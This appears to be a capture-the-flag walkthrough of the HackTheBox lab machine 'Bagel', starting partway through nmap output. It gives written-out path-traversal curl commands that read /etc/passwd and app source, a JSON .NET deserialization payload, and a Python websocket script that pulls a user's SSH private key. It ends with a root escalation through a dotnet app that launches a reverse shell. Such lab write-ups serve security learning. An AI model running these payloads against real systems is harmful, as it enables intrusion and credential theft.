The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
| GetRequest: | HTTP/1.1 302 FOUND | Server: Werkzeug/2.2.2 Python/3.10.9 | Date: Sun, 19 Feb 2023 15:46:25 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 263 | Location: http://bagel.htb:8000/?page=index.html | Connection: close | | |You should be redirected automatically to the target URL: http://bagel.htb:8000/?page=index.html. If not, click the link. | Socks5: | | |
Error code: 400
|Message: Bad request syntax (' | ').
|Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.
| |_ |_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html | http-methods: |_ Supported Methods: GET OPTIONS HEAD |_http-server-header: Werkzeug/2.2.2 Python/3.10.9 ``` ## PORT 8000 (HTTP) The port redirects to bagel.htb, so adding that in hosts file
Adding `bagel.htb` in `/etc/hosts`
Fuzzing for files and directories it didn't showed anything other than /orders
Orders didn't showed anything
Trying for subdomain enumeration with `wfuzz`, it didn't showed any results as well
## Foothold
If we go back to home page, we can see it's include an html page with `page` parameter, we can try testing for Local File Inclusion (LFI) here
```bash
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://bagel.htb:8000/?page=FUZZ' --hw 3
```
```bash
curl 'http://bagel.htb:8000/?page=../../../../../../../../../../../../../../../../etc/passwd'
```
Since this is a flask application, we know that because of `Werkzeug` running, so through LFI we can read `app.py`
```bash
curl 'http://bagel.htb:8000/?page=../app.py
```
Now the source code mentions about a dll file
So in order to find the dll, we need to brute force the process ID in `/proc/FUZZ/fd`
First create a wordlist of numbers, I create a wordlist with `crunch`
```bash
crunch 1 3 1234567890 > numbers.txt
```
Next use wfuzz to fuzz for PIDs with the created wordlist
requests with 14 characters will show `file not found` so we need to look for requests having a different number of characters so by filtering on 0 and 14 characters I was able to find a request which was having the PID for dll
```bash
curl 'http://bagel.htb:8000/?page=../../../../../proc/887/cmdline' -so -
```
Download the dll file through curl
```bash
curl 'http://bagel.htb:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -o bagel.dll
```
Opening the dll file using ILSpy we can see some functions in the dll, it was quite overwhelming for me as it did took me sometime to understand what was happening here, we can find database credentials from `DB_Connection` method
If we see the `Handler` class
It is set to `4` which means it's set to AUTO, that can include .NET type which makes this vulnerable to JSON .NET deserizliation as configuration shouldn't be set to anything other than `None`
Checking the `Orders` class we have `RemoveOrder` object having empty constructor which fulfils the requirement for this deserialization
The application on `/orders` is using `ReadOrder` function which is filtering for reading local files as it's reading `orders.txt` from `/opt/bagel/orders/`
To perfrom json deserlization using RemoveOrder function our payload should like this
```json
{"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}
```
Here `bagel_server.File` is the namespace and `File` is the parameter which will hold the file name in `ReadFile` and the reason we are using ReadFile function is because it won't have any validaiton and can directly read files
Which then further calls `ReadContent`
On to sending our payload, we can use the same code which is in app.py
```python
import websocket,json
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/") # connect to order app
#order = {"ReadOrder":"orders.txt"}
order = {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(json.loads(result))
```
Having a shell as phil, we can then escalate to developer as we already had found the password
## Privilege Escalation (developer)
With `sudo -l` we can list what this user can run as root user
## Privilege Escalation (root)
As a root user we can run dotnet application, so first creating a dotnet application with `dotnet console` which will then generate a cs and proj file, editing the cs file with
```c#
System.Diagnostics.Process.Start("program","arguemnts");
```
Which is simply executing bash with a script `uwu.sh` having a reverse shell
## References
- https://book.hacktricks.xyz/pentesting-web/file-inclusion
- https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15
- https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm